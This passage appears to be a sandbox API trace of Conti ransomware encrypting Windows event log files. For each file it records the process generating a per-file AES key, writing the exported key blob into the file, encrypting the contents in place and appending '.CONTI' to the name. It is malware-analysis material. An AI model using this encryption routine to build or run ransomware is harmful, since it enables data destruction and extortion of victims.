	[0094.981] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 0x20
	[0095.226] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0095.226] GetLastError () returned 0x0
	[0095.226] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=69632) returned 1
	[0095.226] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0095.226] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.226] SetEndOfFile (hFile=0x35c) returned 1
	[0095.227] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.227] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.230] WriteFile (in: hFile=0x35c, lpBuffer=0x17d28dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x17d28dc*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0095.243] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.243] ReadFile (in: hFile=0x35c, lpBuffer=0x8950000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x11000, lpOverlapped=0x0) returned 1
	[0095.244] CryptEncrypt (in: hKey=0x175e630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x11000, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x11010) returned 1
	[0095.245] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.245] WriteFile (in: hFile=0x35c, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x11010, lpOverlapped=0x0) returned 1
	[0095.245] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.245] WriteFile (in: hFile=0x35c, lpBuffer=0x17d28d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x17d28d0*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0095.245] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.245] CloseHandle (hObject=0x35c) returned 1
	[0095.247] GetProcessHeap () returned 0x1720000
	[0095.247] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17df8a8
	[0095.247] lstrcpyW (in: lpString1=0x17df8a8, lpString2="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx"
	[0095.247] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.CONTI"
	[0095.247] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.conti")) returned 1
	[0095.248] GetProcessHeap () returned 0x1720000
	[0095.248] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17df8a8 | out: hHeap=0x1720000) returned 1
	[0095.248] CryptDestroyKey (hKey=0x175e630) returned 1
	[0095.248] GetProcessHeap () returned 0x1720000
	[0095.248] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bfd68 | out: hHeap=0x1720000) returned 1
	[0095.248] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0095.491] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x17d3fa8 | out: phKey=0x17d3fa8*=0x17c8130) returned 1
	[0095.491] CryptExportKey (in: hKey=0x17c8130, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3fac, pdwDataLen=0x37ffcec | out: pbData=0x17d3fac*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0095.491] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 0x20
	[0096.664] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0096.665] GetLastError () returned 0x0
	[0096.667] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=69632) returned 1
	[0096.667] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.667] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.667] SetEndOfFile (hFile=0x37c) returned 1
	[0096.674] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.674] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.674] WriteFile (in: hFile=0x37c, lpBuffer=0x17d3fac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x17d3fac*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0096.688] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.688] ReadFile (in: hFile=0x37c, lpBuffer=0x8950000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x11000, lpOverlapped=0x0) returned 1
	[0096.689] CryptEncrypt (in: hKey=0x17c8130, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x11000, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x11010) returned 1
	[0096.689] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.690] WriteFile (in: hFile=0x37c, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x11010, lpOverlapped=0x0) returned 1
	[0096.690] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.690] WriteFile (in: hFile=0x37c, lpBuffer=0x17d3fa0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x17d3fa0*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0096.690] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.690] CloseHandle (hObject=0x37c) returned 1
	[0096.692] GetProcessHeap () returned 0x1720000
	[0096.692] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.692] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx"
	[0096.692] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.CONTI"
	[0096.692] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.conti")) returned 1
	[0096.693] GetProcessHeap () returned 0x1720000
	[0096.693] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.693] CryptDestroyKey (hKey=0x17c8130) returned 1
	[0096.693] GetProcessHeap () returned 0x1720000
	[0096.693] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176bb50 | out: hHeap=0x1720000) returned 1
	[0096.693] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0096.693] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x17d6698 | out: phKey=0x17d6698*=0x17c8130) returned 1
	[0096.693] CryptExportKey (in: hKey=0x17c8130, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d669c, pdwDataLen=0x37ffcec | out: pbData=0x17d669c*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0096.694] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 0x20
	[0096.694] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0096.694] GetLastError () returned 0x0
	[0096.694] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=69632) returned 1
	[0096.694] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.694] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.694] SetEndOfFile (hFile=0x37c) returned 1
	[0096.694] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.694] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.694] WriteFile (in: hFile=0x37c, lpBuffer=0x17d669c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x17d669c*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0096.695] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.695] ReadFile (in: hFile=0x37c, lpBuffer=0x8950000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x11000, lpOverlapped=0x0) returned 1
	[0096.697] CryptEncrypt (in: hKey=0x17c8130, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x11000, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x11010) returned 1
	[0096.697] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.697] WriteFile (in: hFile=0x37c, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x11010, lpOverlapped=0x0) returned 1
	[0096.697] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.697] WriteFile (in: hFile=0x37c, lpBuffer=0x17d6690*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x17d6690*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0096.697] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.697] CloseHandle (hObject=0x37c) returned 1
	[0096.699] GetProcessHeap () returned 0x1720000
	[0096.699] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.699] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx"
	[0096.699] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.CONTI"
	[0096.699] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.conti")) returned 1
	[0096.699] GetProcessHeap () returned 0x1720000
	[0096.699] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.700] CryptDestroyKey (hKey=0x17c8130) returned 1
	[0096.700] GetProcessHeap () returned 0x1720000
	[0096.700] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740e30 | out: hHeap=0x1720000) returned 1
	[0096.700] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0096.700] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x17d8b18 | out: phKey=0x17d8b18*=0x17c8130) returned 1
	[0096.700] CryptExportKey (in: hKey=0x17c8130, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d8b1c, pdwDataLen=0x37ffcec | out: pbData=0x17d8b1c*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0096.700] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 0x20
	[0096.701] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0096.701] GetLastError () returned 0x0
	[0096.701] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=69632) returned 1
	[0096.701] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.701] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.701] SetEndOfFile (hFile=0x37c) returned 1
	[0096.702] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.702] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.702] WriteFile (in: hFile=0x37c, lpBuffer=0x17d8b1c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x17d8b1c*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0096.703] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.703] ReadFile (in: hFile=0x37c, lpBuffer=0x8950000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x11000, lpOverlapped=0x0) returned 1
	[0096.704] CryptEncrypt (in: hKey=0x17c8130, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x11000, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x11010) returned 1
	[0096.704] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.704] WriteFile (in: hFile=0x37c, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x11010, lpOverlapped=0x0) returned 1
	[0096.704] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.705] WriteFile (in: hFile=0x37c, lpBuffer=0x17d8b10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x17d8b10*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0096.705] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.705] CloseHandle (hObject=0x37c) returned 1
	[0096.707] GetProcessHeap () returned 0x1720000
	[0096.707] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.707] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx"
	[0096.707] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.CONTI"
	[0096.707] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.conti")) returned 1
	[0096.707] GetProcessHeap () returned 0x1720000
	[0096.707] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.707] CryptDestroyKey (hKey=0x17c8130) returned 1
	[0096.708] GetProcessHeap () returned 0x1720000
	[0096.708] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17410d0 | out: hHeap=0x1720000) returned 1
	[0096.708] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0096.708] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x17da1e8 | out: phKey=0x17da1e8*=0x17c8130) returned 1
	[0096.708] CryptExportKey (in: hKey=0x17c8130, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x17da1ec, pdwDataLen=0x37ffcec | out: pbData=0x17da1ec*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0096.708] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 0x20
	[0096.709] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0096.709] GetLastError () returned 0x0
	[0096.709] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=69632) returned 1
	[0096.709] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.709] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.709] SetEndOfFile (hFile=0x37c) returned 1
	[0096.709] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.709] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.709] WriteFile (in: hFile=0x37c, lpBuffer=0x17da1ec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x17da1ec*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0096.710] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.710] ReadFile (in: hFile=0x37c, lpBuffer=0x8950000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x11000, lpOverlapped=0x0) returned 1
	[0096.712] CryptEncrypt (in: hKey=0x17c8130, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x11000, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x11010) returned 1
	[0096.712] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.712] WriteFile (in: hFile=0x37c, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x11010, lpOverlapped=0x0) returned 1
	[0096.713] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.713] WriteFile (in: hFile=0x37c, lpBuffer=0x17da1e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x17da1e0*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0096.713] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.713] CloseHandle (hObject=0x37c) returned 1
	[0096.714] GetProcessHeap () returned 0x1720000
	[0096.714] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.715] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx"
	[0096.715] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.CONTI"
